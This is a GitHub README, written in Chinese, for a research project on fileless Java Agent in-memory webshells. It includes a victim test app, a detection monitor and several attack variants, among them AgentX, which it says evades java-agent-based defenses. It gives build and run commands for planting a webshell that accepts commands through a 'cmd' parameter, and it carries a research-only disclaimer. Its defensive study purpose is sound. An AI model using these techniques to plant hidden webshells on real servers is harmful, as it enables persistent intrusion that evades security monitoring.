Skip to content

不那么一样的 Java Agent 内存马

Notifications You must be signed in to change notification settings

0xrumble/agentcrack

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

crack java agent

不落地文件,不借助 VM.attach 而实现的 Agent 型内存马。技术细节: Agent 内存马的攻防之道

注意:本项目仅做学习研究使用,不保证其稳定性及可靠性。本项目不应该在生产环境下使用,也不应该用于任何非法或不道德的目的。使用本项目的人应严格遵守相关的法律法规,对自己的行为负责。

app

测试应用,模拟受害者的 java 应用:

cd app
mvn clean package
java -cp target/app-1.0-SNAPSHOT.jar com.rzte.agentcrack.App

javaagent-monitor

敏感类监控,模拟防护软件,与测试应用 app 配合测试。

export workdir=`pwd`
cd javaagent-monitor
mvn clean package

# 1. 防守模式运行目标应用
java -javaagent:${workdir}/javaagent-monitor/target/javaagent-monitor-1.0-SNAPSHOT-jar-with-dependencies.jar -cp ${workdir}/app/target/app-1.0-SNAPSHOT.jar com.rzte.agentcrack.App

# 2. 临时检测模式
java -jar ./target/javaagent-monitor-1.0-SNAPSHOT-jar-with-dependencies.jar <app_pid>

# 若找不到 VirtualMachine 可手动指定 tools.jar
java -Xbootclasspath/a:${JAVA_HOME}/lib/tools.jar -jar ./target/javaagent-monitor-1.0-SNAPSHOT-jar-with-dependencies.jar <app_pid>

javaagent-hack

简单的攻击示意,与测试应用 app 配合测试。

cd javaagent-hack
mvn clean package


java -jar javaagent.jar <target_pid> redefine/retransform

memshell-demo

内存马示意,与测试应用 app 配合测试。

  • NoAgent 简单的,不落地文件,借助已有的 agent 实施攻击
  • AgentA 不借助 agent,不落地文件,创建新的 agent 后实施攻击。目前仅适配了 jdk8
  • AgentB 基于 AgentA,但所使用的类,不再需要实现 ClassFileTransformer,也无需使用 ClassFileTransformer.transform 方法。
  • AgentX 基于 AgentB,但是不再会被 java agent 技术所检测到或是清除掉

可在编译后,直接在 App 运行时,加载对应的“攻击类”:

java -cp ${workdir}/app/target/app-1.0-SNAPSHOT.jar:${workdir}/memshell-demo/ com.rzte.agentcrack.App  AgentX

memshell-server

与下面的 memshell 配合,负责初始化内存马。

java -cp ${workdir}/memshell-server/target/memshell-server-1.0-SNAPSHOT-jar-with-dependencies.jar com.rzte.agentcrack.App
Usage: java -cp memshell-server.jar com.rzte.agentcrack.App <target_url>

Example:

java -cp ${workdir}/memshell-server/target/memshell-server-1.0-SNAPSHOT-jar-with-dependencies.jar com.rzte.agentcrack.App http://127.0.0.1:8080/demo/NoAgent.jsp

之后,便可以通过 cmd 参数向任意路径发送命令:

memshell-ls

memshell-whoami

memshell

根据 memshell-demo 而实现的,相对“实际”的 jsp 内存马。由于 jsp 中修改类字节码比较复杂,这里借助 memshell-server 来修改 。

NoAgent.jsp

无需落地文件,借助已有的 agent 实施攻击:

NoAgent

AgentX.jsp

无需落地文件,也不借助已有的 agent 实施攻击,且基本上无法被基于 java agent 技术而实现的防护措施所检测到(目前仅适配了 64 位的 jdk8 )。

AgentX

About

不那么一样的 Java Agent 内存马

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • Java 100.0%